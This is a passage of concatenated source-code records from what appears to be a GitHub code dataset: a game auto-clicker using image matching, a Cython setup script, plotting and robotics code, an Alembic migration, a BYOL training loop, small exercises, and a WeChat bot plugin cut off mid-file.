如果部分窗口不能点击、截图出来是黑屏，可以使用兼容模式\n            if scr_and_click_method == '正常-可后台':\n                screen_img = screen_method.window_screen()\n            elif scr_and_click_method == '兼容-不可后台':\n                screen_img = screen_method.window_screen_bk()\n\n        # 支持安卓adb连接\n        elif connect_mod == 'Android-手机':\n            adb_device_connect_status, device_id = HandleSet.adb_device_status()\n            if adb_device_connect_status:\n                screen_img = screen_method.adb_screen(device_id[0])  # 暂仅支持找到的第一个设备\n            else:\n                print(device_id)\n                run_status = False\n                return run_status, match_status\n\n        if debug_status:\n            if self.other_setting[5]:\n                ImgProcess.show_img(screen_img)  # test显示压缩后截图\n\n        # 开始匹配\n        print(\"<br>正在匹配…\")\n        pos = None\n        target_num = None\n        target_img_tm = target_img\n        click_status = False\n        click_pos = []\n\n        # 模板匹配方法\n        if match_method == '模板匹配':\n            if compress_val != 1:  # 压缩图片，模板和截图必须一起压缩\n                screen_img = ImgProcess.img_compress(screen_img, compress_val)\n                if debug_status and compress_val != 1:\n                    if self.other_setting[5]:\n                        ImgProcess.show_img(screen_img)  # test显示压缩后截图\n                target_img_tm = []\n                for k in range(len(target_img)):\n                    target_img_tm.append(ImgProcess.img_compress(target_img[k], compress_val))\n\n            # 开始匹配\n            get_pos = GetPosByTemplateMatch()\n            pos, target_num = get_pos.get_pos_by_template(screen_img, target_img_tm, debug_status)\n\n        # 特征点匹配方法，准确度不能保证，但是不用适配不同设备\n        elif match_method == '特征点匹配':\n            if compress_val != 1:  # 压缩图片，特征点匹配方法，只压缩截图\n                screen_img = ImgProcess.img_compress(screen_img, compress_val)\n                if debug_status and compress_val != 1:\n                    if self.other_setting[5]:\n                        ImgProcess.show_img(screen_img)  # test显示压缩后截图\n            screen_sift = ImgProcess.get_sift(screen_img)  # 获取截图的特征点\n\n            # 开始匹配\n            get_pos = GetPosBySiftMatch()\n            pos, target_num = get_pos.get_pos_by_sift(target_img_sift, screen_sift,\n                                                      target_img_hw,\n                                                      target_img, screen_img, debug_status)\n            del screen_sift  # 删除截图的特征点信息\n\n        if pos and target_num is not None:\n            print(f\"<br>匹配成功! \")\n            match_status = True\n\n            # 如果图片有压缩，需对坐标还原\n            if compress_val != 1:\n                pos = [pos[0] / compress_val, pos[1] / compress_val]\n                if debug_status:\n                    print(f\"<br>坐标压缩还原成功! \")\n\n            # 打印匹配到的实际坐标点和匹配到的图片信息\n            print(f\"<br><img height=\\\"30\\\" src='{target_img_file_path[target_num]}'>\")\n            print(f\"<br>匹配到第 [ {target_num + 1} ] 张图片: [ {target_img_name[target_num]} ]\"\n                  f\"<br>坐标位置: [ {int(pos[0])} , {int(pos[1])} ] \")\n\n            # 获取json文件中，每个图片配置的坐标点\n            img_flag = \"\"\n            try:\n                target_img_folder_path = os.path.dirname(target_img_file_path[target_num])  # 获取图片所在文件夹\n                img_json = json.load(open(target_img_folder_path + r'/img_pos.json', 'r', encoding='utf-8'))  # 读取json文件\n                # print(img_json)  # 测试json文件内容\n                for i in range(len(img_json)):  # 匹配并抽取当前目标json文件中设置的坐标点\n                    if target_img_name[target_num] == img_json[i][\"name\"]:  # 判断当前匹配成功的图片是否设置json\n                        img_flag = img_json[i][\"flag\"]\n                        # print(\"<br> flag为：\", flag)\n                        if img_json[i][\"click_pos\"] and img_json[i][\"real_pos\"]:  # 判断是否设置偏移坐标\n                            click_mod = click_mod2  # 如果匹配到需要偏移的位置，则使用偏移两较大的模型\n                            target_pos = random.choice(img_json[i][\"click_pos\"])  # 抽取一个点击坐标\n                            if abs(pos[0] - img_json[i][\"real_pos\"][0]) < 100:  # 判断界面是否经过较大缩放\n                                pos = target_pos  # 未缩放直接使用json中的值\n                            else:\n                                scal_rate = pos[0] / img_json[i][\"real_pos\"][0]  # 如果界面有缩放则计算缩放比例，重新计算缩放后的点击坐标\n                                pos = [0, 0]  # 重置坐标，通过缩放比例重新赋值新坐标\n                                pos[0] = int(target_pos[0] * scal_rate)\n                                pos[1] = int(target_pos[1] * scal_rate)\n                            if debug_status:\n                                print(f\"<br>img_pos.json文件读取并设置偏移坐标成功! \")\n                                print(f\"<br>偏移坐标: [{pos}] \")\n                            break\n            except Exception as e:\n                print(\"<br>\", e)\n\n            # 开始点击\n            if flag_mark == 1 and img_flag == \"mark\":  # 标记为mark的图片已被点击，则不点击\n                print(f\"<br>此回合已点击图片 {target_img_name[target_num]}, flag: {img_flag}，跳过点击!\")\n                match_status = False\n            elif img_flag == \"skip\":\n                print(f\"<br>检测到图片 {target_img_name[target_num]}, flag: {img_flag}，跳过点击!\")\n                match_status = False\n            elif img_flag == \"stop\":\n                print(f\"<br>已匹配图片 [ {target_img_name[target_num]} ] ，触发终止条件，脚本停止运行！！！\")\n                stop_status = True\n            else:\n                if img_flag == \"mark\":\n                    click_mod = ClickModSet.create_click_mod(20, size=(200, 2))  # 构造正态分布模型，只针对标记场景，所以仅小范围偏移\n\n                if connect_mod == 'Windows程序窗体':\n\n                    if search(\"雷电模拟器\", self.hwd_title):\n                        # 针对 雷电模拟器，特殊处理\n                        handle_set = HandleSet(self.hwd_title, handle_num)\n                        handle_num = handle_set.get_handle_num\n                        doclick = DoClick(pos, click_mod, handle_num)\n                        if debug_status:\n                            print(f\"<br>雷电模拟器点击成功! \")\n\n                        # 如果部分窗口不能点击、截图出来是黑屏，可以使用兼容模式\n                        if scr_and_click_method == '正常-可后台':\n                            click_status, click_pos = doclick.windows_click()\n                            if debug_status:\n                                print(f\"<br>正常模式点击成功! \")\n                        elif scr_and_click_method == '兼容-不可后台':\n                            click_status, click_pos = doclick.windows_click_bk()\n                            if debug_status:\n                                print(f\"<br>兼容模式点击成功! \")\n\n                    elif search(\"模拟器\", self.hwd_title) or search(\"手游助手\", self.hwd_title):\n                        # 针对 安卓模拟器 的兼容（使用ADB连接）\n                        adb_device_connect_status, device_id = HandleSet.adb_device_status()\n                        doclick = DoClick(pos, click_mod, handle_num)\n                        if debug_status:\n                            print(f\"<br>模拟器点击成功! \")\n\n                        # 如果部分窗口不能点击、截图出来是黑屏，可以使用兼容模式\n                        if scr_and_click_method == '正常-可后台':\n                            click_status, click_pos = doclick.adb_click(device_id[0])\n                            if debug_status:\n                                print(f\"<br>模拟器正常模式点击成功! \")\n                        elif scr_and_click_method == '兼容-不可后台':\n                            click_status, click_pos = doclick.windows_click_bk()\n                            if debug_status:\n                                print(f\"<br>模拟器兼容模式点击成功! \")\n\n                    else:\n                        # 针对 windows 程序\n                        handle_set = HandleSet(self.hwd_title, handle_num)\n                        handle_num = handle_set.get_handle_num\n                        doclick = DoClick(pos, click_mod, handle_num)\n\n                        # 如果部分窗口不能点击、截图出来是黑屏，可以使用兼容模式\n                        if scr_and_click_method == '正常-可后台':\n                            click_status, click_pos = doclick.windows_click()\n                            if debug_status:\n                                print(f\"<br>Windows程序正常后台点击成功! \")\n                        elif scr_and_click_method == '兼容-不可后台':\n                            click_status, click_pos = doclick.windows_click_bk()\n                            if debug_status:\n                                print(f\"<br>Windows程序兼容模式点击成功! \")\n\n                # 支持安卓adb连接\n                elif connect_mod == 'Android-手机':\n                    adb_device_connect_status, device_id = HandleSet.adb_device_status()\n                    doclick = DoClick(pos, click_mod)\n                    click_status, click_pos = doclick.adb_click(device_id[0])\n                    if debug_status:\n                        print(f\"<br>安卓ADB点击成功! \")\n        else:\n            print(\"<br>匹配失败！\")\n            match_status = False\n\n        # 内存清理\n        del screen_img, pos, target_info, target_img, target_img_sift, screen_method  # 删除变量\n        collect()  # 清理内存\n        if debug_status:\n            print(f\"<br>内存清理成功! \")\n\n        return run_status, match_status, stop_status, target_img_name[target_num], click_pos\n\n    def start_match_click(self, i, target_info, debug_status, start_time, end_time, now_time, loop_seconds, click_mod1,\n                          click_mod2, flag_mark):\n        \"\"\"不同场景下的匹配方式\"\"\"\n        match_status = False\n        run_status = True\n        stop_status = False\n        match_target_name = None\n        click_pos = []\n        connect_mod = self.connect_mod\n        scr_and_click_method = self.scr_and_click_method\n        match_method = self.match_method\n        compress_val = float(self.compress_val)\n        handle_num_list = str(self.handle_num).split(\",\")\n\n        progress = format((now_time - start_time) / loop_seconds, '.2%')\n        print(f\"<br>第 [ {i + 1} ] 次匹配, 当前进度 [ {progress} ] \"\n              f\"<br>开始-结束时间 [ {strftime('%m-%d %H:%M', localtime(start_time))} --- {strftime('%m-%d %H:%M', localtime(end_time))} ]\")\n\n        # 多开场景下，针对每个窗口遍历：截图、匹配、点击\n        if self.process_num == '多开' and connect_mod == 'Windows程序窗体':\n            if handle_num_list[0] == '' or handle_num_list[0] == '0' or handle_num_list[0] is None:\n                print(\"<br>【运行异常：请选择待匹配目标窗口！】\")\n                run_status = False\n                return run_status, match_status\n            for handle_num_loop in range(len(handle_num_list)):\n                handle_num = int(handle_num_list[handle_num_loop])\n                print(\"<br>--------------------------------------------\")\n                print(f\"<br>正在匹配 [{GetWindowText(handle_num)}] [{handle_num}]\")\n                handle_set = HandleSet('', handle_num)\n                if not handle_set.handle_is_active(self.process_num):\n                    print(\"<br>【运行异常：未选择待匹配目标程序，或程序异常终止！】\")\n                    run_status = False\n                    return run_status, match_status\n                handle_width = handle_set.get_handle_pos[2] - handle_set.get_handle_pos[0]  # 右x - 左x 计算宽度\n                handle_height = handle_set.get_handle_pos[3] - handle_set.get_handle_pos[1]  # 下y - 上y 计算高度\n                screen_method = GetScreenCapture(handle_num, handle_width, handle_height)\n                results = self.matching(connect_mod, handle_num, scr_and_click_method, screen_method, debug_status,\n                                        match_method, compress_val, target_info, click_mod1, click_mod2, run_status,\n                                        match_status, stop_status, flag_mark)\n                run_status, match_status, stop_status, match_target_name, click_pos = results\n\n        # 单开场景下，通过标题找到窗口句柄\n        elif self.process_num == '单开' and connect_mod == 'Windows程序窗体':\n            if self.hwd_title == '' or self.hwd_title is None:\n                print(\"<br>【运行异常：请选择待匹配目标窗口！】\")\n                run_status = False\n                return run_status, match_status\n            handle_set = HandleSet(self.hwd_title, 0)\n            if not handle_set.handle_is_active(self.process_num):\n                print(\"<br>【运行异常：未选择待匹配目标程序，或程序异常终止！】\")\n                run_status = False\n                return run_status, match_status\n            handle_width = handle_set.get_handle_pos[2] - handle_set.get_handle_pos[0]  # 右x - 左x 计算宽度\n            handle_height = handle_set.get_handle_pos[3] - handle_set.get_handle_pos[1]  # 下y - 上y 计算高度\n            handle_num = handle_set.get_handle_num\n            screen_method = GetScreenCapture(handle_num, handle_width, handle_height)\n            results = self.matching(connect_mod, handle_num, scr_and_click_method, screen_method, debug_status,\n                                    match_method, compress_val, target_info, click_mod1, click_mod2,\n                                    run_status, match_status, stop_status, flag_mark)\n            run_status, match_status, stop_status, match_target_name, click_pos = results\n\n        # adb模式下，暂仅支持单开\n        # elif connect_mod == 'Android-Adb':\n        else:\n            adb_device_connect_status, device_id = HandleSet.adb_device_status()\n            if adb_device_connect_status:\n                print(f'<br>已连接设备[ {device_id} ]')\n                screen_method = GetScreenCapture()\n                results = self.matching(connect_mod, 0, scr_and_click_method, screen_method, debug_status, match_method,\n                                        compress_val, target_info,\n                                        click_mod1, click_mod2, run_status, match_status, stop_status, flag_mark)\n                run_status, match_status, stop_status, match_target_name, click_pos = results\n            else:\n                print(device_id)\n                run_status = False\n                return run_status, match_status\n\n        del target_info, screen_method, connect_mod, scr_and_click_method, match_method, compress_val, click_mod1, click_mod2, handle_num_list  # 删除变量\n        collect()  # 清理内存\n\n        return run_status, match_status, stop_status, match_target_name, click_pos\n\n    @staticmethod\n    def time_warming():\n        \"\"\"检测时间是否晚12-早8点之间，这个时间可能因为异常导致封号\"\"\"\n\n        if localtime().tm_hour < 8:\n            now_time = strftime(\"%H:%M:%S\", localtime())\n            print(\"<br>----------------------------------------------------------\")\n            print(f\"<br>警告：现在 [ {now_time} ]【非正常游戏时间，请勿过于奔放，否则后果自负】\")\n            print(\"<br>----------------------------------------------------------\")\n            for t in range(8):\n                print(f\"<br>[ {8 - t} ] 秒后开始……\")\n                sleep(1)\n            print(\"<br>----------------------------------------------------------\")\n","repo_name":"aicezam/SmartOnmyoji","sub_path":"modules/ModuleStartMatching.py","file_name":"ModuleStartMatching.py","file_ext":"py","file_size_in_byte":25858,"program_lang":"python","lang":"en","doc_type":"code","stars":335,"dataset":"github-code","pt":"37"}
+{"seq_id":"10753510006","text":"from setuptools import setup, find_packages, Extension\nfrom Cython.Distutils import build_ext\nfrom codecs import open\nimport numpy\n\ntry:\n    from Cython.Distutils import build_ext\nexcept ImportError:\n    use_cython = False\nelse:\n    use_cython = True\n\nif use_cython:\n    sourcefiles = ['cdtw/cydtw.pyx']\nelse:\n    sourcefiles = ['cdtw/cydtw.c']\n\next_modules = [\n        Extension(\"cdtw.cydtw\", \n            sourcefiles,\n            include_dirs=[numpy.get_include(), 'cdtw/'],\n            # extra_compile_args=[\"\"]\n            extra_compile_args=[\"-std=c11\"]\n            )\n        ]\n\nsetup(\n    name='cdtw',\n    cmdclass = {'build_ext': build_ext},\n    ext_modules = ext_modules,\n    packages = find_packages(),\n    version='0.0.1',\n    author = 'Aliaksei Halachkin',\n    author_email = 'aliaksei.h(you know what)gmail.com',\n    description='DTW computation',\n    long_description=open('README.md').read(),\n\n    url='https://github.com/honeyext/cdtw',\n\n    keywords = ['dtw', 'dynamic time warping'],\n    install_requires=['numpy'],\n\n)\n","repo_name":"halachkin/cdtw","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"37"}
+{"seq_id":"1982450185","text":"import matplotlib.pyplot as plt\n\ndistance = [15.69, 18.04, 24.29]\nI_365 = [4.8, 4.3, 2.86]\nI_405 = [6.1, 4.9, 3.3]\nI_436 = [6.5, 5.3, 3.5]\n\ntoday_d = [20.6, 18, 11.7]\ntoday_I_365 = [1.78, 2.61, 4.71]\n\nheight = 25.0 - 2*2.0 - 0.556\nheight2 = 25 - 2*2.0 - 0.556 - 8.7\n\nplt.plot(distance, I_365, 'ro--', label=\"365 nm\")\nplt.plot(distance, I_405, 'go--', label=\"405 nm\")\nplt.plot(distance, I_436, 'bo--', label=\"436 nm\")\nplt.plot(today_d, today_I_365, 'ko--', label=\"365 nm / 3 Mar 2023\")\nplt.axvline(height, color='k')\nplt.axvline(height2, color='m')\n\nplt.xlabel(\"Distance from Probe to Sensor (mm)\")\nplt.ylabel(\"Intensity (W/cm^2)\")\nplt.title(\"Probe UV Intensity\")\n\nplt.legend()\nplt.grid(which='major')\n\nplt.show()\n","repo_name":"sccleme1/nano_metal_printing","sub_path":"Better_UV_Lamp.py","file_name":"Better_UV_Lamp.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9254639159","text":"import Utils\nimport math\n\n# Models a differential drive robot movement and motors\n\n\nclass RobotModel(Utils.Twist):\n\n    def __init__(self, *args):\n        super().__init__(*args)\n        self.logDict = {\"x\": None,\n                        \"y\": None,\n                        \"heading\": None,\n                        \"vel\": None,\n                        \"angVel\": None,\n                        \"leftVel\": None,\n                        \"rightVel\": None}\n\n    def zero(self):\n        self.leftSide.velocity = 0.0\n        self.leftSide.acceleration = 0.0\n        self.rightSide.velocity = 0.0\n        self.rightSide.acceleration = 0.0\n\n    def getPathGeometry(self, robotPose, curWaypoint, returnPath=False):\n        kLINE_LENGTH = 0.1\n        distanceToWaypoint = Utils.distance(robotPose.x, robotPose.y,\n                                            curWaypoint.x, curWaypoint.y)\n\n        straightPathAngle = math.atan2(\n            curWaypoint.x - robotPose.x, curWaypoint.y - robotPose.y)\n        relativeAngle = robotPose.r - straightPathAngle\n        relativeOpposDist = distanceToWaypoint * math.sin(relativeAngle)\n        relativeAdjacDist = distanceToWaypoint * math.cos(relativeAngle)\n        relativeGoalAngle = robotPose.r - curWaypoint.r\n        relativeGoalAngle = Utils.limit(relativeGoalAngle,\n                                        math.pi*0.3, -math.pi*0.3)\n        relativeGoalDeriv = math.tan(relativeGoalAngle)\n        a, b = self.generateSpline(\n            relativeAdjacDist, relativeOpposDist, relativeGoalDeriv)\n        if not returnPath:\n            return a, b\n        else:\n            path = []\n            cos = math.cos(robotPose.r)\n            sin = math.sin(robotPose.r)\n            x = 0\n            while abs(x) <= abs(relativeAdjacDist) \\\n                    and not Utils.withinThreshold(curWaypoint.kSpeed, 0.0, 0.01):\n                y = self.getYFromCoeffs(a, b, x)\n                globalX = (x * sin) - (y * cos) + robotPose.x\n                globalY = (y * sin) + (x * cos) + robotPose.y\n                path.append((globalX, globalY))\n                x += kLINE_LENGTH\n            return path\n\n    def generateSpline(self, x, y, dx):\n        a = ((x * dx) - (2 * y)) / (x * x * x)\n        b = ((3 * y) - (dx * x)) / (x * x)\n        return a, b\n\n    def getYFromCoeffs(self, a, b, x):\n        return (a * x**3) + (b * x**2)\n\n    def getPath(self, waypoints, index):\n        path = []\n        if len(waypoints) > 1 and index != 0:\n            path.append(self.getPathGeometry(\n                self.robot, waypoints[index], True))\n        else:\n            path.append([])\n        for i, waypoint in enumerate(waypoints[:-1]):\n            path.append(self.getPathGeometry(\n                waypoint, waypoints[i+1], True))\n\n        return path\n\n    # def updatePositionWithVelocity(self, deltaTime):\n    #     self.logDict[\"x\"] = self.center.x\n    #     self.logDict[\"y\"] = self.center.y\n    #     self.logDict[\"heading\"] = self.center.heading\n    #     self.logDict[\"vel\"] = self.center.velocity\n    #     self.logDict[\"angVel\"] = self.center.angularVelocity\n    #     self.logDict[\"leftVel\"] = self.leftSide.velocity\n    #     self.logDict[\"rightVel\"] = self.rightSide.velocity\n\n    #     # print(self.leftSide.velocity, self.rightSide.velocity)\n\n","repo_name":"3623/InfiniteRecharge2021","sub_path":"sim/codebase/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37858786596","text":"somaIdade = 0\nmediaIdade = 0\nidadeHomemMaisVelho = 0\nnomeHomemMaisVelho = ''\nmulheresMenos20Anos = 0\nfor p in range(1, 5):\n    print('='*5, end='')\n    print('{}ª PESSOA'.format(p), end='')\n    print('='*5)\n    nome = str(input('Nome: ')).strip()\n    idade = int(input('Idade: '))\n    sexo = str(input('Sexo [M/F]: ')).strip()\n    somaIdade += idade\n    if sexo in 'Mm' and idade > idadeHomemMaisVelho:\n        idadeHomemMaisVelho = idade\n        nomeHomemMaisVelho = nome\n    if sexo in 'Ff' and idade < 20:\n        mulheresMenos20Anos += 1\nmediaIdade = somaIdade / 4\nprint('A média de idade do grupo é {}'.format(mediaIdade))\nprint('O homem mais velho tem {} anos e se chama {}'.format(idadeHomemMaisVelho, nomeHomemMaisVelho))\nprint('Há {} mulheres com idade menor que 20 anos'.format(mulheresMenos20Anos))\n","repo_name":"yesminmarie/Python-Exercicios-Resolvidos","sub_path":"PythonExercicios/ex056.py","file_name":"ex056.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"27755832385","text":"\"\"\"init\n\nRevision ID: 15e092652285\nRevises: 1924a11946f8\nCreate Date: 2019-04-15 17:07:58.290435\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"15e092652285\"\ndown_revision = \"1924a11946f8\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\n        \"users\",\n        sa.Column(\n            \"tags\",\n            sa.ARRAY(sa.String()),\n            nullable=True,\n        ),\n    )\n    op.add_column(\n        \"users\",\n        sa.Column(\n            \"user_id\", sa.Integer(), nullable=False\n        ),\n    )\n    op.drop_constraint(\n        \"users_email_key\", \"users\", type_=\"unique\"\n    )\n    op.drop_constraint(\n        \"users_username_key\", \"users\", type_=\"unique\"\n    )\n    op.drop_column(\"users\", \"api_refresh_token\")\n    op.drop_column(\"users\", \"api_token\")\n    op.drop_column(\"users\", \"password\")\n    op.drop_column(\"users\", \"email\")\n    op.drop_column(\"users\", \"username\")\n    op.drop_column(\"users\", \"id\")\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\n        \"users\",\n        sa.Column(\n            \"id\",\n            sa.INTEGER(),\n            autoincrement=True,\n            nullable=False,\n        ),\n    )\n    op.add_column(\n        \"users\",\n        sa.Column(\n            \"username\",\n            sa.VARCHAR(length=64),\n            autoincrement=False,\n            nullable=False,\n        ),\n    )\n    op.add_column(\n        \"users\",\n        sa.Column(\n            \"email\",\n            sa.VARCHAR(),\n            autoincrement=False,\n            nullable=False,\n        ),\n    )\n    op.add_column(\n        \"users\",\n        sa.Column(\n            \"password\",\n            sa.VARCHAR(length=255),\n            autoincrement=False,\n            nullable=False,\n        ),\n    )\n    op.add_column(\n        \"users\",\n        sa.Column(\n            \"api_token\",\n            sa.VARCHAR(),\n            autoincrement=False,\n            nullable=False,\n        ),\n    )\n    op.add_column(\n        \"users\",\n        sa.Column(\n            \"api_refresh_token\",\n            sa.VARCHAR(),\n            autoincrement=False,\n            nullable=False,\n        ),\n    )\n    op.create_unique_constraint(\n        \"users_username_key\", \"users\", [\"username\"]\n    )\n    op.create_unique_constraint(\n        \"users_email_key\", \"users\", [\"email\"]\n    )\n    op.drop_column(\"users\", \"user_id\")\n    op.drop_column(\"users\", \"tags\")\n    # ### end Alembic commands ###\n","repo_name":"zhukovgreen/gcal_time_track_tg_bot","sub_path":"migrations/versions/15e092652285_init.py","file_name":"15e092652285_init.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"72379196907","text":"import time\nfrom typing import Any, Mapping, Text, Type, Union\n\nfrom absl import app\nfrom absl import flags\nfrom absl import logging\nimport jax\nimport numpy as np\n\nfrom byol import byol_experiment\nfrom byol import eval_experiment\nfrom byol.configs import byol as byol_config\nfrom byol.configs import eval as eval_config\n\nflags.DEFINE_string('experiment_mode',\n                    'pretrain', 'The experiment, pretrain or linear-eval')\nflags.DEFINE_string('worker_mode', 'train', 'The mode, train or eval')\nflags.DEFINE_string('worker_tpu_driver', '', 'The tpu driver to use')\nflags.DEFINE_integer('pretrain_epochs', 1000, 'Number of pre-training epochs')\nflags.DEFINE_integer('batch_size', 4096, 'Total batch size')\nflags.DEFINE_string('checkpoint_root', '/tmp/byol',\n                    'The directory to save checkpoints to.')\nflags.DEFINE_integer('log_tensors_interval', 60, 'Log tensors every n seconds.')\n\nFLAGS = flags.FLAGS\n\n\nExperiment = Union[\n    Type[byol_experiment.ByolExperiment],\n    Type[eval_experiment.EvalExperiment]]\n\n\ndef train_loop(experiment_class: Experiment, config: Mapping[Text, Any]):\n  \"\"\"The main training loop.\n\n  This loop periodically saves a checkpoint to be evaluated in the eval_loop.\n\n  Args:\n    experiment_class: the constructor for the experiment (either byol_experiment\n    or eval_experiment).\n    config: the experiment config.\n  \"\"\"\n  experiment = experiment_class(**config)\n  rng = jax.random.PRNGKey(0)\n  step = 0\n\n  host_id = jax.host_id()\n  last_logging = time.time()\n  if config['checkpointing_config']['use_checkpointing']:\n    checkpoint_data = experiment.load_checkpoint()\n    if checkpoint_data is None:\n      step = 0\n    else:\n      step, rng = checkpoint_data\n\n  local_device_count = jax.local_device_count()\n  while step < config['max_steps']:\n    step_rng, rng = tuple(jax.random.split(rng))\n    # Broadcast the random seeds across the devices\n    step_rng_device = jax.random.split(step_rng, num=jax.device_count())\n    step_rng_device = step_rng_device[\n        host_id * local_device_count:(host_id + 1) * local_device_count]\n    step_device = np.broadcast_to(step, [local_device_count])\n\n    # Perform a training step and get scalars to log.\n    scalars = experiment.step(global_step=step_device, rng=step_rng_device)\n\n    # Checkpointing and logging.\n    if config['checkpointing_config']['use_checkpointing']:\n      experiment.save_checkpoint(step, rng)\n      current_time = time.time()\n      if current_time - last_logging > FLAGS.log_tensors_interval:\n        logging.info('Step %d: %s', step, scalars)\n        last_logging = current_time\n    step += 1\n  logging.info('Saving final checkpoint')\n  logging.info('Step %d: %s', step, scalars)\n  experiment.save_checkpoint(step, rng)\n\n\ndef eval_loop(experiment_class: Experiment, config: Mapping[Text, Any]):\n  \"\"\"The main evaluation loop.\n\n  This loop periodically loads a checkpoint and evaluates its performance on the\n  test set, by calling experiment.evaluate.\n\n  Args:\n    experiment_class: the constructor for the experiment (either byol_experiment\n    or eval_experiment).\n    config: the experiment config.\n  \"\"\"\n  experiment = experiment_class(**config)\n  last_evaluated_step = -1\n  while True:\n    checkpoint_data = experiment.load_checkpoint()\n    if checkpoint_data is None:\n      logging.info('No checkpoint found. Waiting for 10s.')\n      time.sleep(10)\n      continue\n    step, _ = checkpoint_data\n    if step <= last_evaluated_step:\n      logging.info('Checkpoint at step %d already evaluated, waiting.', step)\n      time.sleep(10)\n      continue\n    host_id = jax.host_id()\n    local_device_count = jax.local_device_count()\n    step_device = np.broadcast_to(step, [local_device_count])\n    scalars = experiment.evaluate(global_step=step_device)\n    if host_id == 0:  # Only perform logging in one host.\n      logging.info('Evaluation at step %d: %s', step, scalars)\n    last_evaluated_step = step\n    if last_evaluated_step >= config['max_steps']:\n      return\n\n\ndef main(_):\n  if FLAGS.worker_tpu_driver:\n    jax.config.update('jax_xla_backend', 'tpu_driver')\n    jax.config.update('jax_backend_target', FLAGS.worker_tpu_driver)\n    logging.info('Backend: %s %r', FLAGS.worker_tpu_driver, jax.devices())\n\n  if FLAGS.experiment_mode == 'pretrain':\n    experiment_class = byol_experiment.ByolExperiment\n    config = byol_config.get_config(FLAGS.pretrain_epochs, FLAGS.batch_size)\n  elif FLAGS.experiment_mode == 'linear-eval':\n    experiment_class = eval_experiment.EvalExperiment\n    config = eval_config.get_config(f'{FLAGS.checkpoint_root}/pretrain.pkl',\n                                    FLAGS.batch_size)\n  else:\n    raise ValueError(f'Unknown experiment mode: {FLAGS.experiment_mode}')\n  config['checkpointing_config']['checkpoint_dir'] = FLAGS.checkpoint_root  # pytype: disable=unsupported-operands  # dict-kwargs\n\n  if FLAGS.worker_mode == 'train':\n    train_loop(experiment_class, config)\n  elif FLAGS.worker_mode == 'eval':\n    eval_loop(experiment_class, config)\n\n\nif __name__ == '__main__':\n  app.run(main)\n","repo_name":"deepmind/deepmind-research","sub_path":"byol/main_loop.py","file_name":"main_loop.py","file_ext":"py","file_size_in_byte":5051,"program_lang":"python","lang":"en","doc_type":"code","stars":11900,"dataset":"github-code","pt":"37"}
+{"seq_id":"41902467068","text":"from __future__ import division\nimport numpy as np\nimport scipy as sp\n\ndef construct_A(n):\n    A = np.diag([2] * n)\n\n    A += np.diag([-1] * (n - 1), k=1)\n    A += np.diag([-1] * (n - 1), k=-1)\n\n    condn_no = np.linalg.cond(A, p=2)\n    return A, condn_no\n\nif __name__ == '__main__':\n    A, condn_no = construct_A(512)\n    print(\"A = \\n\", A)\n    print(\"Condition number of A  = \", condn_no)","repo_name":"justachetan/scientific-computing","sub_path":"a2/problem_6a.py","file_name":"problem_6a.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"}
+{"seq_id":"25595498830","text":"'''\nhttps://www.hackerrank.com/challenges/30-exceptions-string-to-integer/problem\n\nTask\nRead a string, S, and print its integer value; if S cannot be converted to an integer, print Bad String.\n'''\n\n# !/bin/python3\n\n\nS = input().strip()\n\ntry:\n    print(int(S))\n\nexcept ValueError:\n    print(\"Bad String\")\n","repo_name":"ryotokuro/hackerrank","sub_path":"30day/16. stoiExceptions.py","file_name":"16. stoiExceptions.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"18074775244","text":"\"\"\"basic ding-dong bot for the wechaty plugin\"\"\"\nimport asyncio\nfrom typing import Optional\nfrom asyncio import Event\nfrom quart import Quart, jsonify\n\nfrom wechaty import Message, Wechaty, WechatyPluginOptions\nfrom wechaty.plugin import WechatyPlugin\nfrom wechaty_puppet import get_logger\n\nfrom antigen_bot.message_controller import message_controller\n\n\n\nclass DingDongPlugin(WechatyPlugin):\n    \"\"\"DingDong Plugin\"\"\"\n    def __init__(self, options: Optional[WechatyPluginOptions] = None):\n        super().__init__(options)\n        \n        self.event = Event()\n        self.is_init = False\n        self.logger = get_logger('messages', file='.wechaty/messages.log')\n\n    async def init_plugin(self, wechaty: Wechaty) -> None:\n        wechaty.on('dong', self.on_dong)\n\n    async def on_dong(self, *args, **kwargs) -> None:\n        \"\"\"listen dong event\"\"\"\n        if not self.is_init:\n            return\n        self.event.set()\n\n    @message_controller.may_disable_message\n    async def on_message(self, msg: Message) -> None:\n        \"\"\"listen message event\"\"\"\n        talker = msg.talker()\n        text = msg.text()\n        if msg.room():\n            topic = await msg.room().topic()\n            if topic.startswith('嘉怡') and topic.endswith('号楼组群'):\n                return\n            if topic == '嘉怡志愿者群':\n                return\n\n            self.logger.info(msg)\n        self.logger.info(msg)\n\n        if text == 'ding':\n            message_controller.disable_all_plugins(msg)\n            if msg.room():\n                await msg.room().say('dong', mention_ids=[talker.contact_id])\n            else:\n                await talker.say('dong')\n\n    async def blueprint(self, app: Quart) -> None:\n        @app.route('/ding')\n        async def listence_ding():\n            if not self.is_init:\n                self.event._loop = asyncio.get_event_loop()\n                self.is_init = True\n            \n            await self.bot.puppet.ding()\n            if self.event.is_set():\n                self.event.clear()\n            await self.event.wait()\n            self.event.clear()\n            return jsonify(dict(code=200, 